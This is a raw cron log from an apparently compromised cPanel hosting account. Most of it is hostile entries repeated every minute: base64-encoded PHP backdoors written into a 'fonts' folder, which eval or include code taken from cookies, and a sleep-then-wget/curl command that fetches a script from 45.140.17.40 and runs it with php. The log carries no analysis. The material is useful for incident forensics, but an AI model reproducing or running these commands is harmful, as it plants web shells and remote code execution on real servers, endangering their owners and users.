Aug 30 13:55:01 ip-184-168-122-23 CROND[24193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:55:01 ip-184-168-122-23 CROND[24192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:55:01 ip-184-168-122-23 CROND[24195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:55:01 ip-184-168-122-23 CROND[24196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:56:01 ip-184-168-122-23 CROND[24359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:56:01 ip-184-168-122-23 CROND[24361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:56:01 ip-184-168-122-23 CROND[24364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:56:01 ip-184-168-122-23 CROND[24363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:56:01 ip-184-168-122-23 CROND[24365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:57:01 ip-184-168-122-23 CROND[24477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:57:01 ip-184-168-122-23 CROND[24480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:57:01 ip-184-168-122-23 CROND[24479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:57:01 ip-184-168-122-23 CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:58:02 ip-184-168-122-23 CROND[24581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:58:02 ip-184-168-122-23 CROND[24582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:58:02 ip-184-168-122-23 CROND[24584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:58:02 ip-184-168-122-23 CROND[24585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:58:02 ip-184-168-122-23 CROND[24586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:59:01 ip-184-168-122-23 CROND[24667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:59:01 ip-184-168-122-23 CROND[24671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:59:01 ip-184-168-122-23 CROND[24669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:59:01 ip-184-168-122-23 CROND[24673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:00:01 ip-184-168-122-23 CROND[24777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:00:01 ip-184-168-122-23 CROND[24784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24785]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:00:01 ip-184-168-122-23 CROND[24789]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24994]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24993]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:01:02 ip-184-168-122-23 CROND[24995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24994]: starting 0anacron
Aug 30 14:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25010]: finished 0anacron
Aug 30 14:02:01 ip-184-168-122-23 CROND[25090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:02:01 ip-184-168-122-23 CROND[25092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:02:01 ip-184-168-122-23 CROND[25093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:02:01 ip-184-168-122-23 CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:02:01 ip-184-168-122-23 CROND[25097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:03:01 ip-184-168-122-23 CROND[25192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:03:01 ip-184-168-122-23 CROND[25194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:03:01 ip-184-168-122-23 CROND[25197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:03:01 ip-184-168-122-23 CROND[25198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:04:01 ip-184-168-122-23 CROND[25308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:04:01 ip-184-168-122-23 CROND[25309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:04:01 ip-184-168-122-23 CROND[25312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:04:01 ip-184-168-122-23 CROND[25310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:04:01 ip-184-168-122-23 CROND[25311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25411]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:05:01 ip-184-168-122-23 CROND[25410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:05:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:06:01 ip-184-168-122-23 CROND[25599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 14:06:01 ip-184-168-122-23 CROND[25601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 14:06:01 ip-184-168-122-23 CROND[25602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 14:06:01 ip-184-168-122-23 CROND[25604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:06:01 ip-184-168-122-23 CROND[25603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:07:01 ip-184-168-122-23 CROND[25683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
